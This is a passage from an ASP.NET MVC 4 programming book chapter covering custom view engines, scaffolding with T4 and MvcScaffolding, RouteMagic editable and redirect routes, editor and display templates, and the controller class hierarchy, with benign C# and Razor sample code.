<code>View</code>	Returns the found <code>IView</code> instance for the specified view name. If the view could not be located, it returns <code>null</code> .
<code>ViewEngine</code>	Returns an <code>IViewEngine</code> instance if a view was found; otherwise, it returns <code>null</code> .
<code>SearchedLocations</code>	Returns an <code>IEnumerable<string></code> that contains all the locations that the view engine searched.

If the `IView` returned is `null`, the view engine was not able to locate a view corresponding to the view name. Whenever a view engine cannot locate a view, it returns the list of locations it checked. Typically, these are file paths for view engines that use a template file, but they could be something else entirely, such as database locations for view engines that store views in a database. These location strings are opaque to MVC itself; it uses them only to display a helpful error message to the developer.

Note that the `FindPartialView` method works in the same way as `FindView`, except that it focuses on finding a partial view. It is quite common for view engines to treat views and partial views differently. For example, some view engines automatically attach a master view (or layout) to the current view by convention. It’s important for that view engine to know whether it’s being asked for a full view or a partial view; otherwise, every partial view might have the master layout surrounding it.

The View Itself

The `IView` interface is the second interface you need to implement when implementing a custom view engine. Fortunately, it is quite simple, containing a single method:

```

public interface IView {
    void Render(ViewContext viewContext, TextWriter writer);
}

```

Custom views are supplied with a `ViewContext` instance, which provides the information that might be needed by a custom view engine, along with a `TextWriter` instance. The view is expected to consume the data in the `ViewContext` (such as the view data and model) and then call methods of the `TextWriter` instance to render the output.

Chapter 15-2 lists the properties exposed by `ViewContext`.

TABLE 15-2: `ViewContext` Properties

PROPERTY	DESCRIPTION
<code>HttpContext</code>	An instance of <code>HttpContextBase</code> , which provides access to the ASP.NET intrinsic objects, such as <code>Server</code> , <code>Session</code> , <code>Request</code> , <code>Response</code> .
<code>Controller</code>	An instance of <code>ControllerBase</code> , which provides access to the controller, making the call to the view engine.
<code>RouteData</code>	An instance of <code>RouteData</code> , which provides access to the route values for the current request.
<code>ViewData</code>	An instance of <code> ViewDataDictionary</code> containing the data passed from the controller to the view.
<code>TempData</code>	An instance of <code> TempDataDictionary</code> containing data passed to the view by the controller in a special one-request-only cache.
<code>View</code>	An instance of <code>IView</code> , which is the view being rendered.
<code>ClientValidationEnabled</code>	Boolean value indicating whether client validation has been enabled for the view.
<code>FormContext</code>	Contains information about the form, used in client-side validation.
<code>FormIdGenerator</code>	Allows you to override how forms are named (“form0”-style by default).
<code>IsChildAction</code>	Boolean value indicating whether the action is being displayed as a result of a call to <code>Html.Action</code> or <code>Html.RenderAction</code> .
<code>ParentActionViewContext</code>	When <code>IsChildAction</code> is <code>true</code> , contains the <code>ViewContext</code> of this view’s parent view.
<code>Writer</code>	<code>HtmlTextWriter</code> to use for HTML helpers that don’t return strings (that is, <code>BeginForm</code>), so that you remain compatible with non-Web Forms view engines.
<code>UnobtrusiveJavaScriptEnabled</code>	This property determines whether an unobtrusive approach to client validation and Ajax should be used. When <code>true</code> , rather than emitting script blocks into the markup, HTML 5 <code>data-*</code> attributes are emitted by the helpers, which the unobtrusive scripts use as a means of attaching behavior to the markup.

Not every view needs access to all these properties to render a view, but it's good to know they are there when needed.

Alternative View Engines

When working with ASP.NET MVC for the first time, you're likely to use the view engine that comes with ASP.NET MVC: the `RazorViewEngine`. The many advantages to this include that it:

- Is the default
- Has clean, lightweight syntax
- Has layouts
- Has HTML encoded by default
- Has support for scripting with C#/VB
- Has IntelliSense support in Visual Studio

There are times, however, when you might want to use a different view engine — for example, when you:

- Want to use a different language, such as Ruby or Python
- Render non-HTML output, such as graphics, PDFs, RSS, and the like
- Have legacy templates using another format

Several third-party view engines are available at the time of this writing. Table 15-3 lists some of the more well-known view engines, but there are likely many others we've never heard of.

TABLE 15-3: View Engines Properties

VIEW ENGINE	DESCRIPTION
Spark	Spark (http://sparkviewengine.com/) is the brainchild of Louis DeJardin (now a Microsoft employee) and is being actively developed with support for both MonoRail and ASP.NET MVC. It is of note because it blurs the line between markup and code using a very declarative syntax for rendering views. Spark continues to add innovative features, including recent support for the Jade templating language first popularized on Node.js.
NHaml	NHaml (hosted on GitHub at https://github.com/NHaml/NHaml), created by Andrew Peters and released on his blog in December 2007, is a port of the popular Ruby on Rails Haml View engine. It's a very terse DSL used to describe the structure of XHTML with a minimum of characters.
Brail	Brail (part of the MvcContrib project, http://mvcccontrib.org) is interesting for its use of the Boo Language. Boo is an object-oriented statically typed language for the CLR with a Python language style to it, such as significant white space.

VIEW ENGINE	DESCRIPTION
StringTemplate	StringTemplate (http://code.google.com/p/string-template-view-engine-mvc) is a lightweight templating engine that is interpreted rather than compiled. It's based on the Java StringTemplate engine.
NVelocity	NVelocity (http://www.castleproject.org/others/nvelocity) is an open source templating engine and a port of the Apache/Jakarta Velocity project, built for Java-based applications. The NVelocity project did quite well for a few years, until 2004, when check-ins stopped and the project slowed down.
Nustache	Nustache (https://github.com/jdiamond/Nustache) is a .NET implementation of the popular Mustache templating language (so named because it uses curly braces that look like sideways mustaches). Mustache is known for being a "logic-less" templating system because it intentionally doesn't support any control flow statements. The Nustache project includes an MVC view engine.
NDjango	NDjango (http://ndjango.org) is an implementation of the Django template language on the .NET platform, using the F# language.
Parrot	Parrot (http://thisisparrot.com) is an interesting new view engine with a CSS-inspired view syntax, good support for enumerables and nested objects, and an extensible rendering system.

New View Engine or New ActionResult?

We are often asked when someone should create a custom view engine as opposed to a new `ActionResult` type. For example, suppose that you want to return objects in a custom XML format. Should you write a custom view engine or a new `MyCustomXmlFormatActionResult`?

The general rule of thumb for choosing between one and the other is whether it makes sense to have some sort of template file that guides how the markup is rendered. If there's only one way to convert an object to the output format, then writing a custom `ActionResult` type makes more sense.

For example, the ASP.NET MVC Framework includes a `JsonResult`, which serializes an object to JSON syntax. In general, there's only one way to serialize an object to JSON. You wouldn't change the serialization of the same object to JSON according to which action method or view is being returned. Serialization is generally not controlled via a template.

However, suppose that you wanted to use XSLT to transform XML into HTML. You may have multiple ways to transform the same XML into HTML, depending on which action you're invoking. In this case, you would create an `XsltViewEngine`, which uses XSLT files as the view templates.

ADVANCED SCAFFOLDING

Chapter 4 overviewed the MVC 4 use of scaffolded views, which make it easy to create the controller and views to support create, read, update, and delete functionality just by setting options in the Add Controller dialog. As noted in Chapter 4, this scaffolding system is extensible. This section describes a few approaches for extending the default scaffolding experience.

Customizing T4 Code Templates

The default scaffolding provided by MVC is powered by T4 templates (T4 is a code-generation engine integrated with Visual Studio.) Assuming your Visual Studio installed directory was `C:\Program Files (x86)\Microsoft Visual Studio 11.0\`, you would find these templates in the following locations:

- `C:\Program Files (x86)\Microsoft Visual Studio 11.0\Common7\IDE\ItemTemplates\CSharp\Web\MVC 4\CodeTemplates>AddController`
- `C:\Program Files (x86)\Microsoft Visual Studio 11.0\Common7\IDE\ItemTemplates\CSharp\Web\MVC 4\CodeTemplates>AddView`

MVC first looks for a `CodeTemplates` folder in your project, so if you want to customize new controllers, you can copy the `CodeTemplates` folder directly into the root of your project and add your own T4 templates.

Visual Studio will complain with the following message:

```
Compiling transformation: The type or namespace name
'MvcTextTemplateHost' could not be found (are you missing a using
directive or an assembly reference?)
```

The reason for this is that when adding a T4 file to a project, Visual Studio sets the value of the `Custom Tool` property for each template to the value `TextTemplatingFileGenerator`. For a standalone T4 file, this is what you want. But in the case of your view scaffolds, this value is not correct. To fix this issue, select all the T4 files and clear the `Custom Tool` property in the Properties window, as shown in Figure 15-9.

Better yet, you can install the `Mvc4CodeTemplatesCSharp` NuGet package (or `Mvc4CodeTemplatesVB` for Visual Basic) into your project. This copies the templates into your project; it also sets the build action correctly for these files so Visual Studio doesn't try to run them when you open them.

The Add View dialog will now give preference to the view scaffold T4 templates in your project over the default ones of the same name. You can also give some templates a new name. The Add View dialog will show your new templates as options in the Scaffold Template drop-down list.

FIGURE 15-9

CODE TEMPLATES VERSUS HELPER TEMPLATES

It's easy to confuse these templates with the helper templates used within MVC views. The Editor and Display templates (discussed in the Templates section later in this chapter) are used to display model information within a view, while the T4 templates discussed in this section are used by Visual Studio when you are adding new code items to your project. You can think of the former as runtime (dynamic) scaffolding and the latter as design-time (static) scaffolding.

The MvcScaffolding NuGet Package

While the T4 approach in the previous section works, the scaffolding experience in ASP.NET MVC 4 is dramatically improved by the MvcScaffolding NuGet package.

```
Install-Package MvcScaffolding
```

This package is written by a member of the ASP.NET team, although it's not a Microsoft product or officially supported. It adds several great scaffolding features:

- It adds a few more advanced template options to the Add Controllers dialog.
- It allows you to really take command of the scaffolding experience using custom PowerShell commands from the Package Manager Console.
- It automates the process of creating your own custom scaffolders.
- As it is a NuGet package, it is possible to publish more frequent updates (outside of the ASP .NET MVC release cycle), which you can apply via NuGet.

For precisely that last reason, we're not going to document MvcScaffolding in great detail here — it would very likely be out of date by the time you read this. We'll give you an overview of how it works, and then point you toward web references so you can keep up with future updates.

Updated Add Controller Dialog Options

The MvcScaffolding package adds two new options to the Add Controller dialog, as shown in Figure 15-10.

- **MvcScaffolding: Controller with read/write actions and views, using EF data access code:** This is very similar to the default controller with read/write actions and views, using the EF template. There are some minor improvements, such as the use of a common partial view for both create and update scenarios.
- **MvcScaffolding: Controller with read/write actions and views, using repositories:** This is the more interesting template added by MvcScaffolding. We'll look at that next.

FIGURE 15-10

Using the Repository Template

To use the repository template, add a new controller and select the “MvcScaffolding: Controller with read/write actions and views, using repositories” template, as shown in Figure 15-11.

FIGURE 15-11

This example replaces the existing `StoreManagerController` in the MVC Music Store application with a new controller (and views). Instead of including Entity Framework data access code in the controller, as shown in the example in Chapter 4, this controller abstracts the data access code to a separate `AlbumRepository` class. The code for this class is shown as follows.

```
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Linq.Expressions;
using System.Web;

namespace MvcMusicStore.Models
{
    public class AlbumRepository : IAlbumRepository
    {
        MusicStoreEntities context = new MusicStoreEntities();

        public IQueryable<Album> All
        {
            get { return context.Albums; }
        }

        public IQueryable<Album> AllIncluding(
            params Expression<Func<Album, object>>[] includeProperties)
        {
            IQueryable<Album> query = context.Albums;
            foreach (var includeProperty in includeProperties) {
                query = query.Include(includeProperty);
            }
            return query;
        }

        public Album Find(int id)
        {
            return context.Albums.Find(id);
        }

        public void InsertOrUpdate(Album album)
        {
            if (album.AlbumId == default(int)) {
                // New entity
                context.Albums.Add(album);
            } else {
                // Existing entity
                context.Entry(album).State = EntityState.Modified;
            }
        }

        public void Delete(int id)
        {
            var album = context.Albums.Find(id);
            context.Albums.Remove(album);
        }

        public void Save()
        {
            context.SaveChanges();
        }
    }
}
```

```
}

public interface IAlbumRepository
{
    IQueryable<Album> All { get; }
    IQueryable<Album> AllIncluding(
        params Expression<Func<Album, object>>[] includeProperties);
    Album Find(int id);
    void InsertOrUpdate(Album album);
    void Delete(int id);
    void Save();
}
}
```

Separating the data access logic from the controller code provides a number of benefits. It's easier to test the controller code (as explained in more detail in Chapter 12, in the section titled "Keep Business Logic out of Your Controllers"). Additionally, it's now possible to reuse the repository code elsewhere in your project.

Adding Scaffolders

The MvcScaffolding system uses *scaffolders* to generate code. You can create your own scaffolders, and conveniently (but slightly funny in a mind-bending way) the easiest way to get started with the code for your custom scaffolders is to generate it — using `CustomScaffolder`, a scaffolder included in MvcScaffolding, of course.

Creating a new scaffolder to handle a new controller scenario, for instance, is as simple as typing the following in the package manager console:

```
Scaffold CustomScaffolder AwesomeController
```

This adds the required files for the `AwesomeController` scaffolder to a new folder in your project, `CodeTemplates\Scaffolders\AwesomeController`. Of course it's up to you to edit the generated code for this scaffolder, but everything's set up for you so you can just focus on the code that makes your scaffolder unique.

Additional Resources

As promised, we've kept this discussion at a pretty high level because it's subject to change. The best source of information on MvcScaffolding at the time of this writing is found on Steven Sanderson's blog (as he is the primary author of MvcScaffolding): <http://blog.stevensanderson.com/?s=scaffolding>.

ADVANCED ROUTING

As mentioned at the end of Chapter 9, routing is simple to learn yet challenging to master. Here we describe a few advanced tips Phil recommends to simplify some otherwise tricky routing scenarios.

RouteMagic

In Chapter 9, we mentioned the RouteMagic project, which is an open source project available on CodePlex at <http://routemagic.codeplex.com/>.

```
Install-Package RouteMagic.Mvc
```

This project is also available as a NuGet package appropriately named *RouteMagic*. RouteMagic is a pet project of Phil Haack, one of the authors of this book, and provides useful extensions to ASP .NET Routing that go above and beyond what's included “in the box.”

One useful extension included in the RouteMagic package is support for redirect routes. As noted usability expert Jakob Nielsen has recommended, “persistent URLs don't change,” and redirect routes will help you support that.

One of the benefits of routing is that you can change your URL structure all you want during development by manipulating your routes. When you do so, all the URLs in your site are updated automatically to be correct, which is a nice feature. But once you deploy your site to the public, this feature becomes a detriment, as others start to link to the URLs you've deployed. You don't want to change a route at this point and break every incoming URL.

Unless...you properly redirect. After installing RouteMagic, you'll be able to write redirect routes which take in an old route and redirect it to a new route, as follows:

```
var newRoute = routes.MapRoute("new", "bar/{controller}/{id}/{action}");
routes.Redirect(r => r.MapRoute("oldRoute",
    "foo/{controller}/{action}/{id}")
) .To(newRoute);
```

Editable Routes

In general, once you deploy your ASP.NET MVC application, you can't change the routes for your application without recompiling the application and redeploying the assembly where your routes are defined.

This is partly by design because routes are generally considered application code, and should have associated unit tests to verify that the routes are correct. A misconfigured route could seriously tank your application.

Having said that, there are many situations in which the ability to change an application's routes without having to recompile the application comes in very handy, such as in a highly flexible content management system or blog engine.

The RouteMagic project just mentioned includes support for routes that can be modified while the application is running. Begin by adding a new `Routes` class to the `App_Start` directory of an ASP.NET MVC 4 application (see Figure 15-12).

FIGURE 15-12

FIGURE 15-13

Next, use Visual Studio's Properties dialog to mark the file's Build Action as "Content" so that it's not compiled into the application, as shown in Figure 15-13.

The authors have intentionally excluded the `Routes.cs` file from build-time compilation because we want it to be compiled dynamically at run time. Following is the code for `Routes.cs`. (Don't worry about entering this code manually; it's provided as a NuGet package at the end of this section.)

```
using System.Web.Mvc;
using System.Web.Routing;
using RouteMagic;

public class Routes : IRouteRegistrar
{
    public void RegisterRoutes(RouteCollection routes)
    {
        routes.IgnoreRoute("{resource}.axd/{*pathInfo}");

        routes.MapRoute(
            name: "Default",
            url: "{controller}/{action}/{id}",
            defaults: new { controller = "Home",
                action = "Index",
                id = UrlParameter.Optional }
        );
    }
}
```

NOTE The RouteMagic compilation system will be looking for a class named Routes with no namespace. If you use a different class name or forget to remove the namespace, the routes won't be registered.

The Routes class implements an interface named `IRouteRegistrar` that is defined in the RouteMagic assembly. This interface defines one method, `RegisterRoutes`.

Next, you'll change the route registration in `App_Start/RouteConfig.cs` to use a new extension method to register the routes:

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Routing;
using RouteMagic;

namespace Wrox.ProMvc4.EditableRoutes
{
    public class RouteConfig
    {
        public static void RegisterRoutes(RouteCollection routes)
        {
            RouteTable.Routes.RegisterRoutes("~/App_Start/Routes.cs");
        }
    }
}
```

With this in place, you can now change routes within the `Routes.cs` file in `App_Start` directory after you've deployed the application without recompiling your application.

To see this in action, you can run the application and notice the standard home page comes up. Then, without stopping the application, alter the default route so the Account controller and Login action are set as route defaults:

```
using System.Web.Mvc;
using System.Web.Routing;
using RouteMagic;

public class Routes : IRouteRegistrar
{
    public void RegisterRoutes(RouteCollection routes)
    {
        routes.IgnoreRoute("{resource}.axd/{*pathInfo}");

        routes.MapRoute(
            name: "Default",
            url: "{controller}/{action}/{id}",
            defaults: new { controller = "Account",
                           action = "Login",
```

```

        id = UrlParameter.Optional }  
    );  
}  
}

```

When you refresh the page, you'll see that the Login view is now displayed.

EDITABLE ROUTES: THE GORY DETAILS

The previous section explains all you need to know to use editable routes. In case you're interested, here's how it works.

Usage seems simple enough, but that's because we've hidden all the magic in an extension method on `RouteCollection`. This method uses two tricks that allow us to dynamically generate the routing code in medium trust, without causing an application restart:

1. We use the ASP.NET BuildManager to dynamically create an assembly from the `Routes.cs` file. From that assembly, we can create an instance of the type `Routes` and cast it to `IRouteHandler`.
2. We use the ASP.NET Cache to get a notification of when the `Routes.cs` file changes, so we'll know it needs to be rebuilt. The ASP.NET Cache allows us to set a cache dependency on a file and a method to call when the file changes (invalidating the cache).

Here's the code that `RouteMagic` is using to add a cache dependency pointing to `Routes.cs` and a callback method that will reload the routes when `Routes.cs` is changed:

```

using System;  
using System.Web.Compilation;  
using System.Web.Routing;  
using RouteMagic.Internals;  
  
namespace RouteMagic  
{  
    public static class RouteRegistrationExtensions  
    {  
        public static void RegisterRoutes(this RouteCollection routes,  
                                         string virtualPath)  
        {  
            if (String.IsNullOrEmpty(virtualPath))  
            {  
                throw new ArgumentNullException("virtualPath");  
            }  
            routes.ReloadRoutes(virtualPath);  
            ConfigFileChangeNotifier.Listen(virtualPath,  
                                            routes.ReloadRoutes);  
        }  
    }
}

```

```

        static void ReloadRoutes(this RouteCollection routes,
                                string virtualPath)
    {
        var assembly = BuildManager.GetCompiledAssembly(
            virtualPath);
        var registrar = assembly.CreateInstance("Routes")
            as IRouteRegistrar;
        using (routes.GetWriteLock())
        {
            routes.Clear();
            if (registrar != null)
            {
                registrar.RegisterRoutes(routes);
            }
        }
    }
}

```

One more interesting bit: The file change notifications are implemented using the `ConfigFileChangeNotifier` from ASP.NET team member David Ebbo's work on the ASP.NET Dynamic Data scaffolding system. For that code and more technical background, see Phil Haack's post at <http://haacked.com/archive/2010/01/17/editable-routes.aspx>.

ADVANCED TEMPLATES

Chapter 5 introduced templated helpers. The templated helpers are the subset of HTML helpers including `EditorFor` and `DisplayFor`, and they are called the templated helpers because they render HTML using model metadata and templates. To jog your memory, imagine the following `Price` property on a model object:

```
public decimal Price { get; set; }
```

You can use the `EditorFor` helper to build an input for the `Price` property.

```
@Html.EditorFor(m=>m.Price)
```

The resulting HTML will look like the following:

```
<input class="text-box single-line" id="Price"
      name="Price" type="text" value="8.99" />
```

You've seen how you can change the output of the helper by adding model metadata in the form of data annotation attributes like `Display` and `DisplayFormat`. What you haven't seen yet is how to change the output by overriding the default MVC templates with your own custom templates. Custom templates are powerful and easy, but before building any custom templates we'll show you how the built-in templates work.

The Default Templates

The MVC framework includes a set of built-in templates the templated helpers will use when constructing HTML. Each helper will select a template based on information about the model — both the model type and model metadata. For example, imagine a `bool` property named `IsDiscounted`.

```
public bool IsDiscounted { get; set; }
```

Again, you can use `EditorFor` to build an input for the property.

```
@Html.EditorFor(m=>m.IsDiscounted)
```

This time, the helper renders a checkbox input (compare this to the editor for the `Price` property earlier, which used a text input).

```
<input class="check-box" id="IsDiscounted" name="IsDiscounted"
       type="checkbox" value="true" />
<input name="IsDiscounted" type="hidden" value="false" />
```

Actually, the helper emits two input tags (we discussed the reason for the second, hidden input in the “`Html.CheckBox`” section of Chapter 5), but the primary difference in output is that the `EditorFor` helper used a different template for a `bool` property than it did for the `decimal` property. It makes sense to provide a checkbox input for a `bool` value and a more freeform text entry for a `decimal`.

You might be wondering at this point what the built-in templates look like, and where they come from. To answer this question we’ll turn to the MVC source code and MVC Futures library.

MVC Futures and Template Definitions

The built-in templates the MVC framework uses are compiled into the `System.Web.Mvc` assembly, and not readily accessible. However, you can download the ASP.NET MVC 4 Futures and see exactly what the templates look like in source code form. The download is available from <http://aspnet.codeplex.com/releases/view/58781>.

Once you extract the zip, you’ll find a `DefaultTemplates` folder, inside of which you’ll find two sub-folders: `EditorTemplates` and `DisplayTemplates`. The `EditorTemplates` contain the templates for the editor-oriented HTML helpers (`Editor`, `EditorFor`, `EditorForModel`), whereas `DisplayTemplates` contain the templates for display helpers (`Display`, `DisplayFor`, `DisplayForModel`). This section will focus on the editor templates, but you can apply the information in this section to either set of templates.

Inside the `EditorTemplates` folder you’ll find the eight files shown in Figure 15-14.

You can think of templates as similar to partial views — they take a model parameter and render HTML. Unless the model metadata indicates otherwise, the templated helpers select a template based on the type name of the value it is rendering. When you ask `EditorFor` to render a property of type `System.Boolean` (like `IsDiscounted`), it uses the template named `Boolean`. When you ask `EditorFor` to render a property of type `System.Decimal` (like `Price`), it uses the template named `Decimal`. You’ll see more details about template selection in the next section.

FIGURE 15-14

WEB FORMS AND RAZOR TEMPLATES

The templates in the ASP.NET Futures download are authored using Web Forms. However, when you build your own custom templates later in this chapter, you can use Razor views with a .cshtml extension. The MVC framework works by default with templates in either form.

Using Razor syntax, the Decimal template looks like the following code:

```

@using System.Globalization

@Html.TextBox("", FormattedValue, new { @class = "text-box single-line" })

@functions
{
    private object FormattedValue {
        get {
            if (ViewData.TemplateInfo.FormattedModelValue ==
                ViewData.ModelMetadata.Model) {
                return String.Format(
                    CultureInfo.CurrentCulture,
                    "{0:0.00}", ViewData.ModelMetadata.Model
                );
            }
            return ViewData.TemplateInfo.FormattedModelValue;
        }
    }
}

```

The template uses the `TextBox` helper to create an input element (of type `text`) with a formatted model value. Notice the template also uses information from the `ModelMetadata` and `TemplateInfo` properties of `ViewData`. `ViewData` contains a wealth of information you might need inside a template, and even the simplest of the templates, the `String` template, uses `ViewData`.

```
@Html.TextBox("", ViewData.TemplateInfo.FormattedModelValue,
    new { @class = "text-box single-line" })
```

The `TemplateInfo` property of `ViewData` gives you access to a `FormattedModelValue` property. The value of this property is either the properly formatted model value as a string (based on the format strings in `ModelMetadata`) or the original raw model value (if there is no format string specified). `ViewData` also grants access to model metadata. You can see model metadata at work in the Boolean editor template (the template the framework uses for the `IsDiscounted` property you saw earlier).

```
@using System.Globalization

@if (ViewData.ModelMetadata.IsNullableValueType) {
    @Html.DropDownList("", TriStateValues,
        new { @class = "list-box tri-state" })
} else {
    @Html.CheckBox("", Value ?? false,
        new { @class = "check-box" })
}

@functions {
    private List<SelectListItem> TriStateValues {
        get {
            return new List<SelectListItem> {
                new SelectListItem {
                    Text = "Not Set", Value = String.Empty,
                    Selected = !Value.HasValue
                },
                new SelectListItem {
                    Text = "True", Value = "true",
                    Selected = Value.HasValue && Value.Value
                },
                new SelectListItem {
                    Text = "False", Value = "false",
                    Selected = Value.HasValue && !Value.Value
                },
            };
        }
    }
    private bool? Value {
        get {
            if (ViewData.Model == null) {
                return null;
            }
            return Convert.ToBoolean(ViewData.Model,
                CultureInfo.InvariantCulture);
        }
    }
}
```

There is quite a bit of work inside the Boolean template, but it builds a different editor for nullable Boolean properties (using a drop-down list) versus a non-nullable property (a checkbox). Most of the work here is building the list of items to display in the drop-down list.

Template Selection

It should be clear that if the framework selects a template based on a model's type name, then a decimal property renders with the Decimal template. But what about types that don't have a default template defined in Figure 15-14? Types like `Int32` and `DateTime`?

Before checking for a template matching the type name, the framework first checks model metadata to see if a template hint exists. You can specify the name of a template to use with the `UIHint` data annotation attribute — you'll see an example later. The `DataType` attribute can also influence template selection.

```
[DataType(DataType.MultilineText)]
public string Description { get; set; }
```

The framework will use the `multilineText` template when rendering the `Description` property shown above. A `DataType` of `Password` also has a default template.

If the framework doesn't find a matching template based on metadata, it falls back to the type name. A `String` uses the `String` template; a `Decimal` uses the `Decimal` template. For types that don't have a matching template, the framework uses the `String` template if the object is not a complex type, or the `Collection` template if the object is a collection (like an array or list). The `Object` template renders all complex objects. For example, using `EditorForModel` helper on the Music Store's `Album` model would result in the `Object` template taking charge. The `Object` template is a sophisticated template that uses reflection and metadata to create HTML for the right properties on a model.

```
if (ViewData.TemplateInfo.TemplateDepth > 1) {
    if (Model == null) {
        @ViewData.ModelMetadata.NullDisplayText
    }
    else {
        @ViewData.ModelMetadata.SimpleDisplayText
    }
}
else {
    foreach (var prop in ViewData.ModelMetadata
        .Properties
        .Where(pm => ShouldShow(pm))) {
        if (prop.HideSurroundingHtml) {
            @Html.Editor(prop.PropertyName)
        }
        else {
            if (!String.IsNullOrEmpty(
                Html.Label(prop.PropertyName).ToHtmlString())) {
                <div class="editor-label">
                    @Html.Label(prop.PropertyName)
                </div>
            }
            <div class="editor-field">
                @Html.Editor(prop.PropertyName)
            </div>
        }
    }
}
```

```

        @Html.ValidationMessage(prop.PropertyName, "*")
    </div>
}
}

@functions {
    bool ShouldShow(ModelMetadata metadata) {
        return metadata.ShowForEdit
            && !metadata.IsComplexType
            && !ViewData.TemplateInfo.Visited(metadata);
    }
}

```

The opening `if` statement in the Object template ensures the template only traverses one level into an object. In other words, for a complex object with a complex property, the Object template shows only a simple summary of the complex property (using `NullDisplayText` or `SimpleDisplayText` from model metadata).

If you don't like the behavior of the Object template, or the behavior of any of the built-in templates, then you can define your own templates and override the defaults.

Custom Templates

Custom templates will live in a `DisplayTemplates` or `EditorTemplates` folder. The MVC framework follows a familiar set of rules when it resolves the path to a template. First, it looks underneath the folder associated with a specific controller's views, but then it also looks underneath the `Views/Shared` folder to see if any custom templates exist. The framework looks for templates associated with every view engine configured into the application (so by default, the framework looks for templates with `.aspx`, `.ascx`, and `.cshtml` extensions).

As an example, say you want to build a custom Object template, but only make it available to views associated with the MVC Music Store's `StoreManager` controller. In that case, you create an `EditorTemplate` underneath the `Views/StoreManager` folder and create a new Razor view named `Object.cshtml` (see Figure 15-15).

You can do many interesting things with custom templates. Perhaps you don't like the default styles associated with a text input (`text-box single-line`). You could build your own String editor template with your own styles and place it in the `Shared\EditorTemplates` folder to make it work throughout the entire application.

FIGURE 15-15

Another example is to emit custom data- attributes for client scripting (you saw data- attributes in Chapter 8). For example, say you wanted to hook up a jQuery UI Datepicker widget with every editor for a `DateTime` property. The framework will render a `DateTime` property editor using the String template by default, but you can create a `DateTime` template to override this behavior, because the framework helper looks for a template named `DateTime` when it renders a `DateTime` value with templates.

```
@Html.TextBox("", ViewData.TemplateInfo.FormattedModelValue,
    new { @class = "text-box single-line",
          data_datepicker="true"
    })
```

You could place the above code inside a file named `DateTime.cshtml`, and place the file inside the `Shared\EditorTemplates` folder. Then, all you need to add a Datepicker to every `DateTime` property editor is a small bit of client script (be sure to include the jQuery UI scripts and stylesheets as you saw in Chapter 8, too).

```
$(function () {
    $("input[data-datepicker=true]").datepicker();
});
```

Now imagine you didn't want a Datepicker available for every `DateTime` editor, but only a handful of special cases. In that case, you could name the template file `SpecialDateTime.cshtml`. The framework won't select this template for a `DateTime` model unless you specify the template name. You can specify the name using the `EditorFor` helper (in this case rendering a `DateTime` property named `ReleaseDate`).

```
@Html.EditorFor(m => m.ReleaseDate, "SpecialDateTime")
```

Alternatively, you can place a `UIHint` attribute on the `ReleaseDate` property itself.

```
[UIHint("SpecialDateTime")]
public DateTime ReleaseDate { get; set; }
```

Custom templates are a powerful mechanism you can use to reduce the amount of code you need to write for an application. By placing your standard conventions inside of templates, you can make sweeping changes in an application by changing just a single file.

ADVANCED CONTROLLERS

As the workhorse of the ASP.NET MVC stack, it's no surprise that the controller has a lot of advanced features that were way beyond the scope of Chapter 2. In this section, you'll learn both how the controller internals work and how you can use it in some advanced scenarios.

Defining the Controller: The `IController` Interface

Now that you have the basics down, we'll take a more structured look at exactly how controllers are defined and used. Up to this point, we've kept things simple by focusing on what a controller *does*; now it's time to look at what a controller *is*. To do that, you'll need to understand the `IController` interface. As discussed in Chapter 1, among the core focuses of ASP.NET MVC are extensibility and

flexibility. When building software this way, it's important to leverage abstraction as much as possible by using interfaces.

For a class to be a controller in ASP.NET MVC, it must at minimum implement the `IController` interface, and by convention the name of the class must end with the suffix `Controller`. The naming convention is actually quite important — and you'll find that many of these small rules are in play with ASP.NET MVC, which will make your life just a little bit easier by not making you define configuration settings and attributes. Ironically, the `IController` interface is quite simple, given the power it is abstracting:

```
public interface IController
{
    void Execute(RequestContext requestContext);
}
```

It's a simple process, really: When a request comes in, the Routing system identifies a controller, and it calls the `Execute` method.

The point of the `IController` interface is to provide a very simple starting point for anyone who wants to hook his or her own controller framework into ASP.NET MVC. The `Controller` class, which is covered later in this chapter, layers much more interesting behavior on top of this interface. This is a common extensibility pattern within ASP.NET.

For example, if you're familiar with HTTP handlers, you might have noticed that the `IController` interface looks very similar to `IHttpHandler`:

```
public interface IHttpHandler
{
    void ProcessRequest(HttpContext context);

    bool IsReusable { get; }
}
```

Ignoring the `IsReusable` property for a moment, `IController` and `IHttpHandler` are pretty much equivalent in terms of responsibility. The `IController.Execute` and `IHttpHandler.ProcessRequest` methods both respond to a request and write some output to a response. The main difference between the two is the amount of contextual information provided to the method. The `IController.Execute` method receives an instance of `HttpContext`, which includes not just the `HttpContext` but also other information relevant to a request for ASP.NET MVC.

The `Page` class, which is probably the class most familiar to ASP.NET Web Forms developers because it is the default base class for an `ASPX` page, also implements `IHttpHandler`.

The ControllerBase Abstract Base Class

Implementing `IController` is pretty easy, as you've seen, but really all it's doing is providing a facility for Routing to find your controller and call `Execute`. This is the most basic *hook* into the system that you could ask for, but overall it provides little value to the controller you're writing. This may be a good thing to you — many custom tool developers don't like it when a system they're trying to customize imposes a lot of restrictions. Others may like to work a bit closer with the API, and for that there is `ControllerBase`.

PRODUCT TEAM ASIDE

Back in the early days the ASP.NET MVC product team debated removing the `IController` interface completely. Developers who wanted to implement that interface could use their own implementation of `MvcHandler` instead, which decidedly handles a lot of the core execution mechanics based on the request coming in from Routing.

We decided to leave it in, however, because other features of the ASP.NET MVC framework (`IControllerFactory` and `ControllerBuilder`) can work with the interface directly — which provides added value to developers.

The `ControllerBase` class is an abstract base class that layers a bit more API surface on top of the `IController` interface. It provides the `TempData` and `ViewData` properties (which are ways of sending data to a view, discussed in Chapter 3). The `Execute` method of `ControllerBase` is responsible for creating the `ControllerContext`, which provides the MVC-specific context for the current request much the same way that an instance of `HttpContext` provides the context for ASP.NET in general (providing request and response, URL, and server information, among elements).

This base class is still very lightweight and enables developers to provide extremely customized implementations for their own controllers, while benefiting from the action filter infrastructure in ASP.NET MVC (ways of filtering and working with request/response data, which are discussed in Chapter 13). What it doesn't provide is the ability to convert actions into method calls. That's where the `Controller` class comes in.

The Controller Class and Actions

In theory, you could build an entire site with classes that implement `ControllerBase` or `IController`, and it would work. Routing would look for an `IController` by name and then call `Execute`, and you would have yourself a very, very basic website.

This approach, however, is akin to working with ASP.NET using raw `IHttpHandlers` — it would work, but you're left to reinvent the wheel and plumb the core framework logic yourself.

